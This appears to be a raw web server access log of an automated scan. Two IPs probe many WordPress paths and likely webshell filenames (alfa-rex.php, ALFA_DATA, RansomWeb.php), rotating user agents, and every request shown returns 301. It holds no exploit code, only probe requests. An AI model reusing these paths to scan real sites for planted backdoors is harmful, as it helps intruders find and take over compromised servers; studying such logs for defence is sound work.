149.88.19.85 - - [23/Apr/2025:03:24:14 -0400] "GET /wp-includes/images/media/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:14 -0400] "GET /files/editprofile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:14 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:14 -0400] "GET /wp-admin/images/come.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:14 -0400] "GET /Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:14 -0400] "GET /images/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:14 -0400] "GET /wp-admin/js/maila.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:14 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:15 -0400] "GET /wp-admin/maint/lol.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:15 -0400] "GET /wp-includes/PHPMailer/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:15 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:15 -0400] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:15 -0400] "GET /def.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:15 -0400] "GET /wp-includes/pomo/xxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:24:15 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:15 -0400] "GET /infos.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:24:16 -0400] "GET /wp-admin/css/singlen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:24:16 -0400] "GET /wp-content/uploads/indax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:16 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:16 -0400] "GET /uploads/abstract_login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:16 -0400] "GET /wordpress/wp-admin/includes HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:24:16 -0400] "GET /admin11.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:16 -0400] "GET /wp-includes/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:24:16 -0400] "GET /wp-includes/fonts/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:16 -0400] "GET /wp-content/uploads/etipat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:24:16 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:24:16 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:16 -0400] "GET /fond.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:24:16 -0400] "GET /wp-includes/fbxcrpyy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.85 - - [23/Apr/2025:03:24:16 -0400] "GET /wp-admin/includes/logs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:16 -0400] "GET /wp-includes/widgets/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:16 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:16 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:16 -0400] "GET /mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:16 -0400] "GET /wp-includes/PHPMailer/wow.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:17 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:17 -0400] "GET /wp-admin/css/colors/blue/contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:17 -0400] "GET /termps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:24:17 -0400] "GET /files/careers.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:17 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:17 -0400] "GET /wp-admin/css/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:17 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.85 - - [23/Apr/2025:03:24:17 -0400] "GET /wp-admin/js/headert.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:24:17 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:24:17 -0400] "GET /wp-admin/css/colors/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:17 -0400] "GET /vip.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:17 -0400] "GET /wp-includes/PHPMailer/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:17 -0400] "GET /wp-admin/css/sidebaru.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:17 -0400] "GET /wp-admin/css/colors/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:17 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:17 -0400] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:17 -0400] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:17 -0400] "GET /wp-admin/js/widgets/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:17 -0400] "GET /wp-admin/images/come.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:17 -0400] "GET /wp-admin/css/colors/coffee/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:17 -0400] "GET /wp-includes/ID3 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:17 -0400] "GET /special.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:17 -0400] "GET /wp-includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:17 -0400] "GET /about/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:24:17 -0400] "GET /wp-includes/pomo/xxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:17 -0400] "GET /wp-admin/includes/archiveo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:17 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:24:17 -0400] "GET /plugins/jquery.filer/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:17 -0400] "GET /search.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:17 -0400] "GET /wp-includes/Text/wp-xl504.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:24:18 -0400] "GET /wp-admin/css/singlen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:18 -0400] "GET /wp-admin/includes/functionsf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:24:18 -0400] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:18 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:18 -0400] "GET /wp-includes/pomo/yellow.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:18 -0400] "GET /wp-log1n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:18 -0400] "GET /wp-includes/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:24:18 -0400] "GET /wp-admin/includes/sidebarh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:24:18 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:18 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:18 -0400] "GET /wp-includes/opjelxli.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:18 -0400] "GET /networks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:18 -0400] "GET /wp-includes/fbxcrpyy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:18 -0400] "GET /wp-admin/maint/sidebarh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:18 -0400] "GET /wp-content/plugins/core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:18 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:24:18 -0400] "GET /wp-content/uploads/RansomWeb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:18 -0400] "GET /report.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:24:18 -0400] "GET /wp-includes/PHPMailer/wow.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:18 -0400] "GET /wp-admin/maint/singlee.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:18 -0400] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:18 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:18 -0400] "GET /wp-admin/css/pageb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:18 -0400] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:24:18 -0400] "GET /wp-admin/css/colors/blue/contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:19 -0400] "GET /wp-admin/css/colors/modern/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:19 -0400] "GET /abby.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:19 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:24:19 -0400] "GET /wp-includes/PHPMailer/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:19 -0400] "GET /wp-admin/css/colors/blue/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:24:19 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:19 -0400] "GET /anger.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:19 -0400] "GET /wp-includes/pomo/pomo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:24:19 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:19 -0400] "GET /wp-admin/css/colors/ectoplasm/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:24:19 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:24:19 -0400] "GET /wp-admin/js/widgets/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:19 -0400] "GET /lu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:24:19 -0400] "GET /.well-known/whizz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:19 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.85 - - [23/Apr/2025:03:24:19 -0400] "GET /wp-includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:24:19 -0400] "GET /wp-admin/css/colors/ectoplasm/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:19 -0400] "GET /index/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:19 -0400] "GET /images/indexmat_crea.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:19 -0400] "GET /public/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:19 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:19 -0400] "GET /wp-includes/Text/wp-xl504.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:19 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) 